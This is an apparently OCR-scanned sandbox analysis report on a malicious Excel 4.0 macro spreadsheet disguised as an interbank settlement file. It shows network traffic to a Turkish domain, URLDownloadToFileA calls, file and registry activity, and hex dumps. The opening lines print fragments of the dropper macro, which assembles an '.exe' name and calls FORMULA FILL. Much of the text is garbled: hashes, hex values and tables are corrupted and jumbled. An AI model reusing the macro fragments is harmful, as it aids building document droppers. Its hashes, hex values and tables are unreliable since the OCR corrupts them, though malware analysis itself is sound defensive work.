""OGRAMDATA\A."""&CHAR(101)&"""xe""")"""=FORMULA FILL(D123&F123;B127)";"=FORMULA FILL(D123&F125:C127)";;:::::"=FORMULA FILL(D123&F124;B129)";"=FORMULA FILL(D123&F124;
C129)"; =CLOSE(FALSE);=CLOSE(FALSE);

Network Behavior

Network Port Distribution

Total Packets: 22

® 53 (DNS)
@ 443 (HTTPS)
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TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Feb 22, 2021 20:29:27.648983002 CET 49167 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:27.742896080 CET 443 49167 185.162.146.6 192.168.2.22
Feb 22, 2021 20:29:27.743176937 CET 49167 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:27.759762049 CET 49167 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:27.851521015 CET 443 49167 185.162.146.6 192.168.2.22
Feb 22, 2021 20:29:27.851588011 CET 443 49167 185.162.146.6 192.168.2.22
Feb 22, 2021 20:29:27.851608992 CET 443 49167 185.162.146.6 192.168.2.22
Feb 22, 2021 20:29:27.851680994 CET 49167 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:27.851742983 CET 49167 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:27.851780891 CET 443 49167 185.162.146.6 192.168.2.22
Feb 22, 2021 20:29:27.851845026 CET 49167 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:27.852747917 CET 49167 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:27.852771997 CET 49167 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:27.854356050 CET 49168 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:27.941406012 CET 443 49168 185.162.146.6 192.168.2.22
Feb 22, 2021 20:29:27.941555977 CET 49168 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:27.942599058 CET 49168 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:27.945056915 CET 443 49167 185.162.146.6 192.168.2.22
Feb 22, 2021 20:29:27.945135117 CET 49167 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:28.030073881 CET 443 49168 185.162.146.6 192.168.2.22
Feb 22, 2021 20:29:28.030098915 CET 443 49168 185.162.146.6 192.168.2.22
Feb 22, 2021 20:29:28.030174017 CET 49168 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:28.030303001 CET 443 49168 185.162.146.6 192.168.2.22
Feb 22, 2021 20:29:28.030318975 CET 443 49168 185.162.146.6 192.168.2.22
Feb 22, 2021 20:29:28.030369043 CET 49168 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:28.030576944 CET 49168 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:28.030603886 CET 49168 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:28.031795979 CET 49169 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:28.115371943 CET 443 49168 185.162.146.6 192.168.2.22
Feb 22, 2021 20:29:28.115542889 CET 49168 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:28.119436979 CET 443 49169 185.162.146.6 192.168.2.22
Feb 22, 2021 20:29:28.119607925 CET 49169 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:28.119946957 CET 49169 443 192.168.2.22 185.162.146.6
Feb 22, 2021 20:29:28.207520962 CET 443 49169 185.162.146.6 192.168.2.22
Feb 22, 2021 20:29:28.207573891 CET 443 49169 185.162.146.6 192.168.2.22
Feb 22, 2021 20:29:28.209122896 CET 49169 443 192.168.2.22 185.162.146.6

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Feb 22, 2021 20:29:27.522520065 CET 52197 53 192.168.2.22 8.8.8.8
Feb 22, 2021 20:29:27.628372908 CET 53 52197 8.8.8.8 192.168.2.22

DNS Queries
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
Feb 22, 2021 20:29:27.522520065 CET 192.168.2.22 8.8.8.8 0x6029 Standard query  www.seyran A (IP address) IN (0x0001)
0) ikenger.com.tr
DNS Answers
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
Feb 22, 2021 8.8.8.8 192.168.2.22 0x6029 No error (0) www.seyran seyranikenger.com.tr CNAME IN (0x0001)
20:29:27.628372908 ikenger.com.tr (Canonical
CET name)
Feb 22, 2021 8.8.8.8 192.168.2.22 0x6029 No error (0) seyraniken 185.162.146.6 A (IP address) IN (0x0001)
20:29:27.628372908 ger.com.tr
CET
Code Manipulations
Statistics
System Behavior
Analysis Process: EXCEL.EXE PID: 2276 Parent PID: 584
General
Start time: 20:29:43
Start date: 22/02/2021
Path: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding
0x13fb30000

27641504 bytes

5FBOAOF93382ECD19F5F499A5CAAS9F0

true

true

C, C++ or other language

Reputation: high
File Activities
File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\E9B3.tmp read attributes | device synchronous io  success or wait 1 13FE7EC83 GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\7AEE0000 read attributes | device synchronous io success or wait 1 7FEEAC59ACO unknown
synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user read data or list device directory file |  object name 1 1408582DF URLDownloadToFileA

directory |
synchronize
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synchronous io  collision
non alert | open

for backup ident

| open reparse

point
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Source

File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local read data or list device directory file |  object name 1 1408582DF URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet read data or list device directory file |  object name 1 1408582DF URLDownloadToFileA
Files directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list device directory file |  object name 1 1408582DF URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Roaming read data or list device directory file |  object name 1 1408582DF URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies read data or list device directory file |  object name 1 1408582DF URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list device directory file |  object name 1 1408582DF URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local read data or list device directory file |  object name 1 1408582DF URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Microsoft\Windows\History read data or list device directory file |  object name 1 1408582DF URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Temp\7B2A.tmp read attributes | device synchronous io  success or wait 1 13FE7EC83 GetTempFileNameW
synchronize | non alert | non
generic read directory file
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\E9B3.tmp success or wait 1 1400EB818 DeleteFilew
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs.rcv success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs.ht~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\7B2A.tmp success or wait 1 1400EB818 DeleteFileW
File Moved
Source
Old File Path New File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\7AEE0000 C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv success or wait 1 7FEEAC59ACO unknown
C:\Users\user\Desktop\6BEE0000 C:\Users\user\Desktop\LIQUIDACION INTERBANCARIA success or wait 1 7FEEAC59ACO unknown
02_22 2021.xls
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~..  success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htm C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~s~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htm C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~s~  success or wait 1 7FEEAC59ACO unknown
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Old File Path
C:\Users\user\AppData\Local\Temp\imgs_files\image002.png
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xml

C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs_

C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht_

C:\Users\user\AppData\Local\Temp\imgs_files\image003.pn__

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm__

File Written

File Path
C:\Users\user\AppData\Local\Temp\7AEE0000

C:\Users\user\AppData\Local\Temp\7AEE0000
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New File Path
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist. xm~s~
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\image003.pngss

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xmlss

Offset Length Value Ascii

569 457 ac 55 cb 6e db 30 10 .U.n.0..
bc 17 e83f08 bc 16 ..k..e...
229d 1le8aa2b09c 6....+>C.X...m.~=
4393 1c db 0049 3f m.... .N.0..E.....
80 26 d7 12 6b be cO !9..0JE.j-[..g./B..........
651cfbefbb94 95 \.n...xV}L?W..&c.F.LF.....:
a4316¢cc946 7b31 .VF....5.@;j...<&C...r...G5
6451f3e0883b9%a .04.+ .6..81.°g"~..N
5f6f9d ad 36 90 d0  (...9.....
04 df b0 2b 3e 63 15

78 15 b4 f1 6d c3 7e

3d de d5 5f 59 85 59

7a 2d 6d f0 dO b0 1d

20 bb 5e 7c fc 30 7f

dc 450 8ad0 le 1b

d6 e5 1c bf 09 81 aa

03 27 91 87 08 9e 56

56 21 39 99 e9 6f 6a

45 94 6a 2d 5b 10 of

67 b3 2f 42 05 9f c1

e7 3a 17 Oe b6 98 df

c0 4a 3e d9 5c dd 6e

€9 f6 de c9 d2 78 56

7d df 3f 57 a4 1a 26

63 b4 46 c9 4c 46 c5

c6 eb 03 91 3a ac 56

46 81 Oe ea c9 11 35

€7 98 40 6a ec 00 b2

b3 3c 26 438a €9 01

72 a6 8d 21 13 47 35

a3 6f 0f 34 8d 2b 9e

cb fd e3 88 04 16 Of
20133687 1c 38 21

fb ad 60 67 22 7e a2

b0 4e 28 94 95 d3 39

Oc b8 9f f4 02 93 d1

50 dd cb

1026 2 03 00

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

success or wait

Count

P R R R R R R

Count

16

17

Source
Address

7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO

Source
Address

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol

unknown

unknown
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File Path

C:\Users\user\AppData\Local\Temp\7AEE0000

C:\Users\user\AppData\Local\Temp\7AEE0000

Copyright null 2021

Offset
0

8275

Length Value

569

4096

Ascii

504b 03 04 14 00 06 PK.......... I._Ul..c...
00 08 00 00 00 21 00 [Content_Types].xml ...

0d 5f5531¢cb 0100 (

00 63 06 00001300 ..

08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70
65 73 5d 2e 78 6d 6¢

202204 0228a000 ..

02 00 00 00000000 .
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

ec5b 0f 709b c595 .
df ef 93 6¢ cb 8e 9d

O IO $N...;.b

c8c6a48e09e58b OC....MI(..3..(...i.......M.

ec244eb0852c3b .
8e6270d05fc709 .

fe 17 db 24 6e 70 b1 ].N..+c*.wofft..@7?...4." Ic|-

255b494464c995 .

e5e01c2428760a (E..".|P.X.(\.X.0.x.C.V.*

699b b6 el 4f 43 8e .
e3 da a4 ed4d 39 28
1d 02 33 Oc el 28 b5
81 bb 69 99 f6 08 bd
6 fa ef a6 4d Oa bd
al ed 74 1la 6e ca 34
ed 5c¢ f1 fd de b7 bb
d2 67 c5 4e 9c c2 f4
7a 73 ac fc be 7d fb
6 ed ee db b7 bb 6f
77 df 7 f9 cc 6b c5
67 4f 9e 2a 3f c7 b2
C2 46 66 62 ef ce e4
b3 5¢ 03 5d 01 4e a0
07 2b 63 22 10 82 77
67 66 66 74 1a le 40
3f 08 ff 87 34 f0 27 c8
4a 63 7c 2d c0 Oc c8
01 e4 01 ae 06 58 00
9 80 ab 00 8b 00 85
80 22 c0 62 c0 12 80
1550 Oc 28 01 dO 1c
28 45 bc 14 60 03 7c
08 50 06 58 06 28 07
5c 03 58 Oe 8 30 80
78 af 43 ac 01 56 00
2a 00 44 23 18 20 fc
65 35 d0 c5 e2 f8 25
3116

.tn4\...gN..zs..}.
....0w....k.gO.*?...Ffb....\.

XD P

D#. .e5....%1.

..$np.%l[IDd.....$(V.i...

Completion

success or wait

success or wait

Source

Count Address Symbol

18

2

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\AppData\Local\Temp\7AEE0000

C:\Users\user\AppData\Local\Temp\7AEE0000

File Path

Registry Activities

Key Created

Copyright null 2021

Offset Length Value

15318 65536

227790 1268

4452 00 00 02 cc 00

Ascii

Completion

Source

Count Address Symbol

........ success or wait 4

VAU

0002 d8 08020000 ..... ".f1H..Dkv......g......7.

00 e7 f4 33 cO 00 00

P Nf=..<.Q.

.HJb.

0001 7352474200 #.$H."g4:..y..}.~T7.d..H..b.

ae ce 1c e9 00 00 00

P..

09704859 730000 ..z.y...Uu...K~r.'%....p

Oe c4 00 00 Oe c3 01
da 6a 98 dc 00 00 ff
b5 49 44 41 54 78 5e
ec fd 07 94 9c e7 99
98 0b 56 ce 55 9d bb
d1 8d 9c 01 22 07 66
3148149344 6b 76
c6 93 ce f5 1d 8f 67
7 18 ee f5 ee 8e 37
d8 d2 68 e6 de bd de
7b ee d9 eb 5 d9 b3
c7 5e 7b 66 3d 9e bl
3ccl a3 51 0e a4 48
4a 62 12 23 08 80 24
48 04 22 67 34 3ae7
ca799ff7 7d ab 7e
54 37 1a 64 93 02 48
80 aa 62 b1 50 fd d7
ff 7f el fd be ef cd c1
9d 2f57 7c 1e 77 a5
5c c9 66 b2 e5 42 d1
e5 71 15 0a 45 9of df
eb f1 7a aa 2e 79 b9
ab f2 e6 55 75 cb db
be db 4b 7e 72 bb ed
27 e7 25 df b9 a7 da
70 5f fd 37 8f c7 73
e5 be fa b7 4a a5 72
f5¢c5

50 4b 01 02 2d 00 14
00 06 00 08 00 00 00
2100 0d 5f 55 31 cb
01 00 00 63 06 00 00
13 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 5b 43 6f
6e 74 65 6e 74 5f 54
79 70 65 73 5d 2e 78
6d 6¢ 50 4b 01 02 2d
00 14 00 06 00 08 00
00 00 21 00 b5 55 30
235 00 00 00 4c 02
00 00 Ob 00 00 00 00
00 00 00 00 00 00 00
00 00 04 04 00 00 5f
72 65 6¢ 73 2f 2 72
65 6¢ 73 50 4b 01 02
2d 00 14 00 06 00 08
0000 00 21 00 01 3b
97 49 33 01 00 00 cO
03 00 00 1a 00 00 00
00 00 00 00 00 00 00
00 00 00 2a 07 00 00
78 6¢ 2f 5f 72 65 6¢
73 2f 77 6f 72 6b 62
6f 6f 6b 2e 78 6d 6¢
2e 72 65 6¢ 73 50 4b
01 02 2d 00 14 00 06
00 08 00 00 00 21 00
7f b2 d3 5f ¢6 01 00
00 fe 02 00 00 Of 00
00 00 00 00 00 00 00
00 00 00 00 00 9d 09
00 00 78 6¢ 2f 77 6f
72 6b 62 6f 6f 6b 2e
78 6d 6¢

_7.s..dr..

1. xmlIPK..

xI/TNorkbook.me

Offset

._Ul..c..
..[Content_

Types

Length

success or wait 1

Completion

7FEEAC59ACO unknown

7FEEAC59ACO unknown

Source
Count Address Symbol
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Source

Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\VBA success or wait 1 7FEEAC6E72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0 success or wait 1 7FEEAC6E72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common success or wait 1 7FEEAC6E72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency success or wait 4 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery success or wait 4 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EE9D2 success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EEB1A success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EEBD5 success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F7C8F success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F7E73 success or wait 1 7FEEAC59ACO unknown
Key Value Created
Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Iltem 1 unicode [FO0000000][T01D1BB6D4B429860]  success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\0887538035.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\8416751812.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 3 unicode [FO0000000][TO1D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\3580751004.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 4 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\5367203117.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 5 unicode [FO0000000][TO1D1BB6D4B429860]  success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\3764832265.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 6 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\3013890265.xIsx
HKEY_CURRENT_USER\Software\Mic ltem 7 unicode [FO0000000][T01D1BB6D4B429860]  success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\0615447233.xIsx
HKEY_CURRENT_USER\Software\Mic Item 8 unicode [FO0000000][T01D1BB6D4B429860]  success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\4144085054.xIsx
HKEY_CURRENT_USER\Software\Mic Item 9 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\2109793820.xIsx
HKEY_CURRENT_USER\Software\Mic Item 10 unicode [FO0000000][T01D1BB6D4B429860]  success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\1417002460.xIsx
HKEY_CURRENT_USER\Software\Mic Item 11 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\1387277564.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 12 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\9281004682.xIsx
HKEY_CURRENT_USER\Software\Mic Item 13 unicode [FO0000000][TO1D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\1169381505.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 14 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\9801086636.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 15 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\7838756049.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 16 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\8416181845.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 17 unicode [FO0000000][T01D1BB6D4B429860]  success or wait 2 7FEEAC59ACO unknown

rosoft\Office\14.0\Excel\file mru

Copyright null 2021

[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\EE9D2

Copyright null 2021

Name

Item 18

Item 19

Item 20

EE9D2

Type

unicode

unicode

unicode

binary

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7606393495.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4458179343.xIsx

04 00 00 00 E4 08 00 00 3A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 62 00 65 00
66 00 6F 00 72 00 65 00 2E 00 31 00
2E 00 31 00 31 00 35 00 2E 00 31 00
2E 00 73 00 68 00 65 00 65 00 74 00
2E 00 63 00 73 00 76 00 00 00 00 00
2200 00 00 43 00 3A 00 5C 00 55 00
73 00 6500 72 00 73 00 5C 00 41 00
6C 00 62 00 75 00 73 00 5C 00 41 00
7000 70 00 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61 00 6C 00
5C 00 54 00 65 00 6D 00 70 00 5C 00
01 00 00 00 01 00 00 00 34 72 1B 7F
9C 09 D7 01 D2 E9 OE 00 D2 E9 OE
00 00 00 00 00 B8 02 00 00 OA 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00

Completion

success or wait

success or wait

success or wait

success or wait

Source

Count Address Symbol

2

2

2

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Max Display

Max Display

Item 1

Type

dword

dword

unicode

Data Completion
25 success or wait
25 success or wait

[FOO000000][T01D1BB6D4B429860]  success or wait
[O00000000]*C:\Users\user\Desk
top\0887538035.xIsx

Source

Count Address Symbol
2 7FEEAC59ACO unknown
2 7FEEAC59ACO unknown
2 7FEEAC59ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

